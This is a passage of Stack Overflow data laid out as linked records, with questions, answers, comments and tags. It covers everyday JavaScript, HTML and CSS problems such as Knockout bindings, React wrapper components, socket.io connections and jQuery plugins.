type: AnswerComment
type: Comment

http://stackoverflow.com/a/25783684
score: 0
type: Answer
has body: It is not performance related. However by this way it declares a var that can be accessed by other members within this “Closure”. Noted that the "this" of the other members is not determined by the definition context, "this" is whoever calls the function. On the contrary, variant scope is always determined by the definition context.
has comment: http://stackoverflow.com/comment/40325502
answers question: http://stackoverflow.com/q/25783376

http://stackoverflow.com/a/25793174
has comment: http://stackoverflow.com/comment/40342693
has comment: http://stackoverflow.com/comment/40343651
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40343180
accepted answer of: http://stackoverflow.com/q/25792673
answers question: http://stackoverflow.com/q/25792673
has comment: http://stackoverflow.com/comment/40342983
has comment: http://stackoverflow.com/comment/40342878
has body: You have a few problems: Invoking the observable before it has a value will return undefined, which is why you're getting the error. Simply initialize the observable to an empty string ('') to avoid this: self.selectedTitleId = ko.observable(''); To correctly bind to an input value, you need to use data-bind="value: ..." instead. text is available on non-input elements like &lt;p&gt; or &lt;div&gt;, but since you're working with an input, you should use the value binding: &lt;input type="text" data-bind="value: text" /&gt; Inside of your ko.computed function definition, I think just using a local variable will suffice: self.text = ko.computed(function () { // Sidenote: you don't need to pass this function an array: var displayText = test(self.selectedTitleId(), "hi"); return "{" + displayText + "}"; }); Example: http://jsfiddle.net/4pfhfbqe/1/ Update: Okay so it looks like while the AJAX request is going to populate the observable arrays, selectedTitleId is undefined. I would just add a check to see if that observable is defined before processing it: self.text = ko.computed(function () { if (self.selectedTitleId()) { var text = test(self.selectedTitleId(), "hi", "bye"); return "{" + text + "}"; } return ''; });
type: AcceptedAnswer

http://stackoverflow.com/q/25773196
type: Question
has comment: http://stackoverflow.com/comment/40306553
score: -2
tagged with: javascript
has title: multiple divs with different css
has body: I'm working with MapQuest and Leaflet. I can have multiple maps on the screen at the same time. I have edited the leaflet.css file, and to change the size of certain icons within the map, I get the zoom that the map is currently at and change the icon sizes in the leaflet.css file like such: if (Map.getZoom()=== 13) { $('.leaflet-label').css('font-size', '24px'); } The above is for a label, but it is pretty much the same for icon/markers. Now because I have 4 maps, they all use the same leaflet.css file. So when I zoom in on one particular map, the labels/markers/icons for all the other maps change too, even though the zoom is being utilized only on one map. My HTML looks like this: Is there a way to set it up so that each div acts independently of the others?
downvote count: 2
has comment: http://stackoverflow.com/comment/40306369
has comment: http://stackoverflow.com/comment/40306484
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40306670
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
upvote count: 0
tagged with: leaflet
has comment: http://stackoverflow.com/comment/40306232
has answer: http://stackoverflow.com/a/25773390
accepted answer: http://stackoverflow.com/a/25773390

http://stackoverflow.com/comment/40443098
score: 0
type: Comment
has text: Thanks! How it works if i have 3 or 4 elements then?
comment on: http://stackoverflow.com/a/25848308
type: AnswerComment

http://stackoverflow.com/q/25865231
has comment: http://stackoverflow.com/comment/40474304
has comment: http://stackoverflow.com/comment/40474220
tagged with: css
has comment: http://stackoverflow.com/comment/40474111
has comment: http://stackoverflow.com/comment/40474400
type: Question
has comment: http://stackoverflow.com/comment/40474082
tagged with: javascript
has title: translate(x, y) why extra gap is created between each element
has comment: http://stackoverflow.com/comment/40474370
has body: I am just checking css transforms using below code var style="-webkit-transform: translate(0px, {{ht}}px);-ms-transform: translate(0px, {{ht}}px);transform: translate(0px, {{ht}}px)"; var str = []; for(var i = 0; i &lt; 15; i++){ str.push('&lt;div class="ele" style="', style.replace(/\{\{ht\}\}/g, i * 25) ,'"&gt;', i, '&lt;/div&gt;'); } document.body.innerHTML = str.join(''); But when I check the result, 25px extra gap is created between each item. What is the reason and how to fix it properly? (fiddle link)
score: 0
has comment: http://stackoverflow.com/comment/40474241
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25738013
has body: Dreamweaver code hint doesn't smart, sometimes will show code hint automatically when you make newline, you have to use shortcut to open it.
answers question: http://stackoverflow.com/q/25737881
score: 0
has comment: http://stackoverflow.com/comment/40394626
type: Answer
has comment: http://stackoverflow.com/comment/40322185

http://stackoverflow.com/a/31757397
answers question: http://stackoverflow.com/q/25797048
downvote count: 1
type: Answer
score: 140
has body: Note I provided a more in-depth answer here Runtime wrapper: It's the most idiomatic way. const Wrapper = ({children}) => ( header {children} footer ); const App = () => Hello ; const WrappedApp = () => ( <App/> ); Note that children is a "special prop" in React, and the example above is syntactic sugar and is (almost) equivalent to <Wrapper children={<App/>}/> Initialization wrapper / HOC You can use an Higher Order Component (HOC). They have been added to the official doc recently. // Signature may look fancy but it's just // a function that takes a component and returns a new component const wrapHOC = (WrappedComponent) => (props) => ( header <WrappedComponent {...props}/> footer ) const App = () => Hello ; const WrappedApp = wrapHOC(App); This can lead to (little) better performances because the wrapper component can short-circuit the rendering one step ahead with shouldComponentUpdate, while in the case of a runtime wrapper, the children prop is likely to always be a different ReactElement and cause re-renders even if your components extend PureComponent. Notice that connect of Redux used to be a runtime wrapper but was changed to an HOC because it permits to avoid useless re-renders if you use the pure option (which is true by default) You should never call an HOC during the render phase because creating React components can be expensive. You should rather call these wrappers at initialization. Note that when using functional components like above, the HOC version do not provide any useful optimisation because stateless functional components do not implement shouldComponentUpdate More explanations here: https://stackoverflow.com/a/31564812/82609
upvote count: 141

http://stackoverflow.com/q/25850638
score: 0
has title: Rename a file im saving and downloading as a pdf for Sql Server Reports?
tagged with: sql-server-2012
accepted answer: http://stackoverflow.com/a/25850733
type: AnsweredQuestion
has body: i have the below code: var OrdID = screen.OrderRequest.OrderID; window.open("http://tempserver/ReportServer/Pages/ReportViewer.aspx?%2fCustomerOrder&amp;rs:Command=Render&amp;OrderID=" + OrdID + "&amp;rs:Format=PDF"); this code is on a button that opens the file from the temp server and saves it as a PDF. it currently saves it as the name "CustomerOrder".. my question is, is it possible to rename the file using javacript to say 200 (being the order number) thanks guys
possible better answer: http://stackoverflow.com/a/40340751
has answer: http://stackoverflow.com/a/40340751
tagged with: visual-studio-lightswitch
type: Question
tagged with: lightswitch-2013
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/25850733

http://stackoverflow.com/q/25797195
possible better answer: http://stackoverflow.com/a/25819911
favorite count: 0
has title: Tried to register widget with id but that id is already registered
has answer: http://stackoverflow.com/a/25812878
accepted answer: http://stackoverflow.com/a/25812878
upvote count: 4
tagged with: dojo
has body: I have two buttons and would like to load a different custom template widget into a div depending on which button is pressed. It works fine the first click, but then comes up with the subject error when either of the buttons is clicked again. I've got this very simplified example to try and get the concept working my template code (there are two very similar to this): define([ "dojo/_base/declare", "dijit/_WidgetBase", "dijit/_TemplatedMixin", "dojo/text!Templates/Person.htm" ], function (declare, _WidgetBase, _TemplatedMixin, personTpl) { return declare([_WidgetBase, _TemplatedMixin], { templateString: personTpl }); }); my template (there are two very similar to this): Bob Jones Main page: Thanks for any ideas
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25819911
type: Question
has comment: http://stackoverflow.com/comment/40359436
has answer: http://stackoverflow.com/a/76752376
tagged with: javascript
score: 4
answer count: 3

kendo-scheduler
tags question: http://stackoverflow.com/q/25811446
tag name: kendo-scheduler
type: Tag

http://stackoverflow.com/q/25811029
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25811211
answer count: 4
type: AnsweredQuestion
tagged with: onclick
accepted answer: http://stackoverflow.com/a/25811083
possible better answer: http://stackoverflow.com/a/25811340
upvote count: 1
has answer: http://stackoverflow.com/a/25811340
type: Question
has title: How to pass parameters from dynamic table to the event handler without inline javascript hanlder
downvote count: 0
has answer: http://stackoverflow.com/a/25811083
tagged with: javascript
score: 1
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25815371
has body: As I heard, I should avoid using inline javascript handler on html. e.g. onclick = "FUNCTION_NAME". If I have a table that is generated dynamically, Each row has a button for its own. If I don't use incline Javascript function, how can I pass some parameters from the table to the event handler? Maybe passing the data from the table cell is not very hard. What if some data is not shown on the table cell (for security reason), for example, a secret ID number that is used internally within the application and is not supposed to exposure on the html (Setting it in the invisible cell in the table is not safe because people who knows html can still inspect it). How can we pass those data that is not shown on the table from dynamic table to event handler in this case? If we use inline click attribute, i.e. onclick="javascript_function(parameter_1, parameter_2)" on each row, that's fairly easy to pass any data I want, and I do not need to show those kinds of secure data on the html in order to pass it.

http://stackoverflow.com/a/25716457
accepted answer of: http://stackoverflow.com/q/25716169
type: Answer
answers question: http://stackoverflow.com/q/25716169
downvote count: 0
score: 1
has body: Your issue seems to be two-fold. You are using setTimeout which will only run your callback once. I think you mean to use setInterval, which will repeatedly run the callback. You can't set focus to document using the focus method natively or in jQuery. In order to restore focus to the body, you should call the blur method on the currently active element using document.activeElement. Example: function focusit(){ if(document.activeElement) { document.activeElement.blur(); } } setInterval(focusit, 100); CodePen Demo
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40203240

http://stackoverflow.com/a/25721604
downvote count: 0
score: 1
has body: You don't have to create a handler to bind the click event on "supprimer", as soon as you have had this event directly to the onclick method of the button so you can write something like that : function remove(){ var whichtr = $(this).closest("tr"); whichtr.remove(); } (not tested) I hope it may help
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25721401
answers question: http://stackoverflow.com/q/25721401
upvote count: 1
type: Answer

http://stackoverflow.com/q/25848628
has title: Test if function is called after script load
has body: I have a single javascript file to test, and it ends with line: window.vioInit &amp;&amp; setTimeout(window.vioInit, 0); So right after script is loaded, it calls function vioInit if it exists. I want to cover this case with test. I use karma and jasmine. For now I have next spec: describe("VIO initialization. ", function() { window.vioInit = new Function(); beforeEach(function() { window.vioInit = new Function(); spyOn(window, 'vioInit'); }); it("window.vioInit() should be called on script load", function() { expect(window.vioInit).toHaveBeenCalled(); }); }); But it fails with output: E:\webdev\hapi&gt;karma start karma.conf.js INFO [karma]: Karma v0.12.23 server started at http://localhost:9876/ INFO [launcher]: Starting browser PhantomJS INFO [PhantomJS 1.9.7 (Windows 7)]: Connected on socket ttEs4AgYPQxCUB_-XG43 with id 8200833 PhantomJS 1.9.7 (Windows 7) VIO initialization. window.vioInit() should be called on script load FAILED Expected spy vioInit to have been called. PhantomJS 1.9.7 (Windows 7): Executed 1 of 1 (1 FAILED) ERROR (0.013 secs / 0.003 secs) So how do I set a spy on window.vioInit before script is loaded and check if it was called after script was loaded?
type: Question
tagged with: testing
has answer: http://stackoverflow.com/a/25865855
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40445113
answer count: 1
tagged with: jasmine
accepted answer: http://stackoverflow.com/a/25865855
has comment: http://stackoverflow.com/comment/40444297
type: AnsweredQuestion
tagged with: karma-runner

http://stackoverflow.com/comment/40383024
comment on: http://stackoverflow.com/a/25814768
score: 0
type: Comment
has text: Action: is used to specify which function is being called. And it doesn't matter if i use WP ajax or a normal AJAX, same thing. I am trying to not use a function and just call the page, but I don't think you can do that with ajax.
type: AnswerComment

http://stackoverflow.com/a/25857065
has comment: http://stackoverflow.com/comment/40482137
answers question: http://stackoverflow.com/q/25856960
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40462245
has body: To keep a collections of guessed numbers, you could use an array. You use the push function to add to an array. var guessedNumbers = []; guessedNumbers.push(24); guessedNumbers.push(36); for (i = 0; i &lt; guessedNumbers.length; i++) { document.write(guessedNumbers[i] + "&lt;br /&gt;"); }

http://stackoverflow.com/comment/40279271
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25758363
has text: The ` ` section should be within the ` ` content, but before the closing body tag ` `.
score: 0

http://stackoverflow.com/comment/40373144
comment on: http://stackoverflow.com/a/25808142
has text: You should try it :) You can receive more up votes and similar. :)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/108577187
score: 4
type: Comment
has text: To get "Develop" menu in Safari: open Preference, under the Advanced tab, check “Show Develop menu in menu bar”.
type: AnswerComment
comment on: http://stackoverflow.com/a/48711205

http://stackoverflow.com/comment/40366634
comment on: http://stackoverflow.com/a/25806522
type: Comment
has text: you say is using a semicolon but provide another example, do you even know what u talk about?
type: AnswerComment
score: 4

http://stackoverflow.com/comment/40425435
comment on: http://stackoverflow.com/q/25838133
type: Comment
type: QuestionComment
has text: Yeah I know they are slightly outdated, but they work for now and do what they need to. The issue at hand is creating a table out of part of the data
score: 0

http://stackoverflow.com/comment/40587452
has text: Good stuff. Put it in a runnable stack snippet! :D
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25912519

http://stackoverflow.com/a/25769806
type: Answer
score: 0
has body: you are correct, it is only set up to work for either single answer multiple choice or multiple answer multiple choice, so it is not meant for additional coding other than that. Here is a site you can use to test it: https://new.qualtrics.com/SE/?SID=SV_1S8i98l8YClkZ5H&amp;Preview=Survey&amp;BrandID=qcorp Also, Qualtrics can help you troubleshoot code if you give the support team a call.
has comment: http://stackoverflow.com/comment/40454615
answers question: http://stackoverflow.com/q/25728857

http://stackoverflow.com/comment/40413833
score: 0
has text: @Martynogea i think ` ` and `opacity` can stay in this case, you just need to change it so that when the tooltip disappears, the user won't trigger it again by accident. Perhaps you can make an invisible ` ` overlay at the top-half of the comment and attach `:hover` to that? (if hovering over signup doesn't fit your needs).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25831174

http://stackoverflow.com/a/71553259
answers question: http://stackoverflow.com/q/25730008
type: Answer
score: 0
has body: after googling I found a solution edit file /tableExport/tableExport.js line 280 var base64 = function(s) { return window.btoa(unescape(encodeURIComponent(s))) } // New base64 // var base64data = "base64," + $.base64.encode(excelFile); OLD LINE var base64data = "base64," + base64(excelFile); // New line with new base64 that is all

http://stackoverflow.com/a/25770550
has body: Have you looked at the Angular UI Bootstrap? They have a modal component there: http://angular-ui.github.io/bootstrap/
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40301056
has comment: http://stackoverflow.com/comment/40300984
type: Answer
answers question: http://stackoverflow.com/q/25770497
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25770497
score: 1
upvote count: 1

http://stackoverflow.com/comment/40445269
comment on: http://stackoverflow.com/q/25846419
score: 0
type: QuestionComment
type: Comment
has text: Where are you asigning the `cboStatus_Click` handler?

http://stackoverflow.com/comment/40265190
has text: what is the value of accept
comment on: http://stackoverflow.com/q/25737172
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25867446
has comment: http://stackoverflow.com/comment/40484559
has comment: http://stackoverflow.com/comment/40480317
score: 0
has body: Problem is with rendering tables in IE8, simply set styles: white-space:nowrap, like this: pointFormat: ' {series.name}: ' + ' {point.y:.1f} mm ', And demo: http://jsfiddle.net/2pv3tpmd/6/ About Firefox (?) - works fine for me, tested with v32 Edit: Screenshot: Edit 2: Screenshot:
has comment: http://stackoverflow.com/comment/40516357
has comment: http://stackoverflow.com/comment/40484675
has comment: http://stackoverflow.com/comment/40506673
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40561343
has comment: http://stackoverflow.com/comment/40485189
has comment: http://stackoverflow.com/comment/40479382
has comment: http://stackoverflow.com/comment/40485790
has comment: http://stackoverflow.com/comment/40515863
has comment: http://stackoverflow.com/comment/40484982
has comment: http://stackoverflow.com/comment/40484597
type: Answer
has comment: http://stackoverflow.com/comment/40552774
accepted answer of: http://stackoverflow.com/q/25862722
has comment: http://stackoverflow.com/comment/40513324
answers question: http://stackoverflow.com/q/25862722
has comment: http://stackoverflow.com/comment/40560612
has comment: http://stackoverflow.com/comment/40558859
has comment: http://stackoverflow.com/comment/40484787
has comment: http://stackoverflow.com/comment/40521984
has comment: http://stackoverflow.com/comment/40509523

http://stackoverflow.com/comment/40291935
comment on: http://stackoverflow.com/q/25765556
score: 0
has text: I am aiming for not having to call the `.then`
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25717451
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40203791
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/41540015
has comment: http://stackoverflow.com/comment/40204127
upvote count: 1
has title: div inner border radius not working when animating with javascript
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25720080
accepted answer: http://stackoverflow.com/a/25720080
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40203841
has comment: http://stackoverflow.com/comment/41540193
has body: My div inner border does not work when i dynamically change border width by java script but it works when i do not use js.I am animating div increasing and decreasing divs border width.But Inner border radius does not appear when increasing the div size during animation. Thanks in advance.` This is a div `
answer count: 1

http://stackoverflow.com/q/25772412
has answer: http://stackoverflow.com/a/37561112
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25789442
type: Question
has answer: http://stackoverflow.com/a/25789442
tagged with: javascript
tagged with: jquery
has body: Using fullPage.js, I disabled the plugin when window size is lower then 767px with the code below. It works, but when I resize it back from below 767px to something like 960px, the plugin doesn't work. Can anyone help restart the plugin after resizing? JS: function fullPageScroll() { $('#main').fullpage({ navigation: true }); } var $win = $(window).width(); if ( $win &gt; 767 ) { fullPageScroll(); } else { fullPageScroll(); $.fn.fullpage.destroy('all'); }
has title: How to start plugin FullPage.js when browser window is resized from mobile to tablet and up?
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/37561112
tagged with: fullpage.js

http://stackoverflow.com/comment/40367873
comment on: http://stackoverflow.com/a/25806777
type: Comment
score: 0
has text: The problem is exactly that we don't have time to refactor everything. I hope there's a snippet to override at one time the SmartTV api with web javascript functions (like remote control) or safe failback for specific functions.
type: AnswerComment

http://stackoverflow.com/a/25862825
has comment: http://stackoverflow.com/comment/40470241
answers question: http://stackoverflow.com/q/25862698
has comment: http://stackoverflow.com/comment/40470093
has comment: http://stackoverflow.com/comment/76980212
upvote count: 2
has comment: http://stackoverflow.com/comment/40470871
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40469945
has comment: http://stackoverflow.com/comment/40470113
type: Answer
has comment: http://stackoverflow.com/comment/40470783
score: 2
has body: The best you can do (natively) is to check which file was selected : Script : function FileSelected(sender) { if (check(sender.value)) //check is you function to check extension {...} else {...} } Sample code : ( check only jpg) http://jsbin.com/sibose/2/edit Edit in chrome . ie10 you can do : With FF : demo : http://jsbin.com/jihoku/2/edit
has comment: http://stackoverflow.com/comment/40470600
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25862698

http://stackoverflow.com/comment/40488205
type: QuestionComment
has text: data.lenght gives how many characters are in there. My data contains a part of a table (a bunch of ) and I want to know how many rows are in there
comment on: http://stackoverflow.com/q/25872682
score: 0
type: Comment

http://stackoverflow.com/q/25799393
tagged with: http://stackoverflow.com/tag/html
tagged with: node.js
has answer: http://stackoverflow.com/a/25876693
accepted answer: http://stackoverflow.com/a/25876693
downvote count: 0
has comment: http://stackoverflow.com/comment/40536948
has comment: http://stackoverflow.com/comment/40358816
has comment: http://stackoverflow.com/comment/40494691
has title: Can socket.io work across domains?
tagged with: socket.io
type: Question
type: AnsweredQuestion
score: 1
has body: I have a socket.io implementation, and I'm trying to make it work across domains but it appears it can't. Here's my exact use case: I have a node.js server running socket.io. I have a JS / HTML5 game that I want to be able to host from anywhere, which has the client socket.io code and tries to connect to the server. I have the same JS code running on mobile devices via SpiderMonkey (this is one of the main reasons I need to run this from any domain). I find that I simply cannot connect to the socket unless I am serving the JS code from my node.js server to a browser. If I simply open the HTML file on my disk from my browser, for example, it will not work. Server code: io.on( "connection", function( socket ) { this.socket = socket; this.socket.on( "echo", function( str ){ this.socket.emit( "message", str ); }.bind( this ) ); }.bind( this ) ); Client code: this.socket = io.connect( ip ); this.socket.on("message", function( str ) { console.log( str ); } ); And I can't even connect, I get my print out that it's trying to connect, but it never succeeds and then starts throwing ping errors. So, is this even possible? Or must I do it with long polling or something? The error: [Error] Failed to load resource: A server with the specified hostname could not be found. (socket.io, line 0) EXTRA INFO: This specifically will not work if I am trying to connect from an HTML file opened from disk using file:///. I am going to try across different machines on the same network...
has comment: http://stackoverflow.com/comment/40354703
upvote count: 1
answer count: 1
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40381232
tagged with: sockets

http://stackoverflow.com/a/25724108
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40215325
answers question: http://stackoverflow.com/q/25723884
downvote count: 1
accepted answer of: http://stackoverflow.com/q/25723884
score: -1
has body: remove var keyword from function parameter function fun(i,j) { var k=i+j; return k; }
upvote count: 0

http://stackoverflow.com/comment/40228616
comment on: http://stackoverflow.com/a/25729654
type: Comment
has text: Thank you for the explanation, I assumed an element had to be able to get focus but I was hoping a class could be used as a hack. Nice fiddler example. In the end I ended up just tying the event to the jump box and its working good. Appreciate the time you spent on this :)
score: 0
type: AnswerComment

http://stackoverflow.com/q/25742303
has answer: http://stackoverflow.com/a/25747318
has title: Forcing two row-fluid to be same size
accepted answer: http://stackoverflow.com/a/25746201
has answer: http://stackoverflow.com/a/25742654
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 4
possible better answer: http://stackoverflow.com/a/25742367
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/25742367
score: 0
has answer: http://stackoverflow.com/a/25746201
has body: I have been struggling with a problem and can't figure out how to solve it: I have made a FIDDLE : HTML: this has text this has text This needs to be same size as the other box. This needs to be same size as the other box. This needs to be same size as the other box. This needs to be same size as the other box. This needs to be same size as the other box. This needs to be same size as the other box. I want both boxes to be the same size regardless if theres text in the boxes or not. I have tried adding some javascript, but I havent figured out how to do it.
has comment: http://stackoverflow.com/comment/40249915
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/19695784
type: Question

http://stackoverflow.com/comment/40295050
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25739656
has text: Both `OrbitControls` and `TrackballControls` zoom toward, and rotate around, `controls.target`. They both support panning. You can change the target like so: `controls.target.set( x, y, z )`.

http://stackoverflow.com/a/25742642
type: AcceptedAnswer
downvote count: 0
has body: use $timeout Angular's wrapper for window.setTimeout. The fn function is wrapped into a try/catch block and delegates any exceptions to $exceptionHandler service. $scope.visibility = true; $http.get("/api/getempl").then(function(response){ if (response.status == 200) { $scope.empData = response.data.data; $timeout(function(){ $scope.visibility = false; }, 4000); } });
has comment: http://stackoverflow.com/comment/40250653
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25742582
answers question: http://stackoverflow.com/q/25742582
has comment: http://stackoverflow.com/comment/40250417

http://stackoverflow.com/comment/40437879
type: Comment
comment on: http://stackoverflow.com/q/25845247
type: QuestionComment
score: 1
has text: You are outputting JSON. Not JSONP.

currency
tag name: currency
tags question: http://stackoverflow.com/q/25726316
type: Tag
tags question: http://stackoverflow.com/q/25864064

http://stackoverflow.com/comment/40255181
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25745309
has text: Thanks Jean, exactly what I was after! Will accept it as soon as the timer expires.

http://stackoverflow.com/q/25764764
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25765809
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25764864
tagged with: visual-studio-2013
accepted answer: http://stackoverflow.com/a/25764792
answer count: 4
type: AnsweredQuestion
has title: MVC: Toggle checkbox visibility in modal using JQuery
type: Question
possible better answer: http://stackoverflow.com/a/25764845
has body: I'm trying to toggle a series of check box's using a button called toggle. I thought id written the code correctly but when run and I click the button nothing happens, can anyone tell me what Ive missed? JQuery: $("toggle").click(function () { if ($("[name=checks]:visible").length) $("[name=checks]").hide; else $("[name=checks]").show }); Modal: &lt;div class="modal fade" id="basicModal2" tabindex="-1" role="dialog" aria-labelledby="basicModal" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&amp;amp;times;&lt;/button&gt; &lt;h4 class="modal-title" id="myModalLabel"&gt;Summary&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;h2&gt;Results&lt;/h2&gt; &lt;h5&gt;Testing&lt;/h5&gt; &lt;span id="printCode"&gt;&lt;/span&gt;&lt;br /&gt; &lt;div class="pull-right"&gt;&lt;button type="submit" class="btn btn-success" id="toggle"&gt;Toggle&lt;/button&gt; &lt;/div&gt; &lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;&lt;/th&gt; &lt;th&gt;Date&lt;/th&gt; &lt;th&gt;Test Type&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; @foreach (var item in Model) { &lt;tr&gt; &lt;td&gt; &lt;input type="checkbox" name="checks"&gt; &lt;/td&gt; &lt;td&gt; @Html.DisplayFor(modelItem =&gt; item.CreationDateTime) &lt;/td&gt; &lt;td&gt; @Html.DisplayFor(modelItem =&gt; item.AppModeId) &lt;/td&gt; &lt;/tr&gt; } &lt;/tbody&gt; &lt;/table&gt; &lt;div class="form-group"&gt; &lt;div class="col-xs-offset-2 col-xs-10"&gt; &lt;a href="#" class="btn btn-success" data-toggle="modal" data-target="#basicModal3" id="resultsgo"&gt;Go!&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-success"&gt;Save changes&lt;/button&gt; &lt;button type="button" class="btn btn-primary" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/di…
has answer: http://stackoverflow.com/a/25764845
has answer: http://stackoverflow.com/a/25764792
tagged with: asp.net-mvc

http://stackoverflow.com/comment/40372977
score: 0
comment on: http://stackoverflow.com/a/25810113
type: AnswerComment
type: Comment
has text: i thought on something like this @Teo unaControllers.contorller("sumCoursePrice",['$scope','UNAService', function($scope,UNAService){ var sum=0; UNAService.getAllSchools(function(error,data){ if(!error){ sum+=data.professors.coursePrice; } return sum; }); }]); But i don't know if i can do it

http://stackoverflow.com/comment/40400660
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25816946
has text: Thank you so much, I just tried it and that worked out perfectly!! You are a genius!!!

http://stackoverflow.com/comment/40292014
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25762448
type: Comment
has text: animation effect when page is loading the line will form like snake according to the points , this effect is not supporting in the ie10, ie8

http://stackoverflow.com/q/25869690
tagged with: backbone.js
has comment: http://stackoverflow.com/comment/40482141
tagged with: marionette
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25869960
type: Question
accepted answer: http://stackoverflow.com/a/25869960
tagged with: javascript
has title: rquirejs - getting issue from global space
has body: In my app, I created a global space for my app saying socialApp. even before i call the initialize method, I am declaring the socialApp in the window like this: define([ 'jquery', 'underscore', 'backbone', 'marionette', 'scripts/appRoutes', 'scripts/app/appModel', 'scripts/app/layout/appLayout'], function ($,_,Backbone,Marionette,Routes,appModel,appLayout) { "use strict"; socialApp = window.socialApp || {}; // i am declared the socialApp here. socialApp = new Backbone.Marionette.Application(); socialApp.addInitializer(function(options) { socialApp.NewRoute = new Routes; socialApp.GenModel = new appModel({router:socialApp.NewRoute}); //i am getting error saying "Uncaught ReferenceError: socialApp is not defined" - why? socialApp.Layout = new appLayout(); socialApp.Layout.render(); Backbone.history.start(); }); It is not happening always, but some instance i am getting this error. how to resolve this? in the appModel i declared like this : define(['jquery','underscore','backbone','marionette'], function ($,_,Backbone,Marionette) { "use strict"; socialApp = window.socialApp || {}; //exactly i am getting error from here on refresh some times.. socialApp.Model = Backbone.Model.extend({ initialize:function(currentRoute){ this.router = currentRoute.router; } }); return socialApp.Model; }); Where i do the mistake? any one figure out me please?
score: 0
answer count: 1
tagged with: jquery

http://stackoverflow.com/q/25834645
has title: Hogan, reference file in sub directory
type: Question
has body: Using either partials or template inheritance, is it really impossible to reference a .mustache file from a sub directory? In other words, having a directory structure like |- views ||- templates |||- base.mustache ||- somePage.mustache where somePage.mustache is something along the lines of {{&lt; templates/base }} {{$content}} ... {{/content}} {{/ template/super }} or {{&gt; templates/base}} ... Both things work if the base mustache file isn't in a subdirectory, but don't work with the "templates/" addition. Is this truly not possible using Hogan.js or am I missing something... because I have tried any and all logical variations I could think of... And the official spec isn't really addressing how this is supposed to work clearly.
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: hogan.js
tagged with: node.js
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/q/25786987
score: 1
possible better answer: http://stackoverflow.com/a/25796576
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
upvote count: 1
has answer: http://stackoverflow.com/a/25796576
tagged with: http://stackoverflow.com/tag/html
has body: I've been following 2 differents tutorials in jQuery. One for parallax and another one to make a booklet. Both load images in a different way. My images are loaded but in the booklet they are supposed to be in the pages and the pages not displayed yet should be hidden. The problem is all of my divs (with image and text) are shown and pages don't flip. I'm getting a JavaScript error Uncaught TypeError: undefined is not a function on $mybook.show().booklet({ Portfolio Loading pages... Slider Gallery This tutorial is about creating a creative gallery with a slider for the thumbnails. The idea is to have an expanding Article Demo Animated Portfolio Gallery Today we will create an animated portfolio gallery with jQuery. Article Demo Annotation Overlay Effect Today we will create a simple overlay effect to display annotations in e.g. portfolio Article Demo ( function( $ ) { // Setup variables $window = $(window); $slide = $('.homeSlide'); $body = $('body'); //FadeIn all sections $body.imagesLoaded( function() { setTimeout(function() { // Resize sections adjustWindow(); // Fade in sections $body.removeClass('loading').addClass('loaded'); }, 800); }); function adjustWindow(){ // Init Skrollr // Get window size winH = $window.height(); // Keep minimum height 550 if(winH <= 550) { winH = 550; } // Resize our slides $slide.height(winH); // Refresh Skrollr after resizing our sections } } )( jQuery ); $(function() { var $mybook = $('#mybook'); var $bttn_next = $('#next_page_button'); var $bttn_prev = 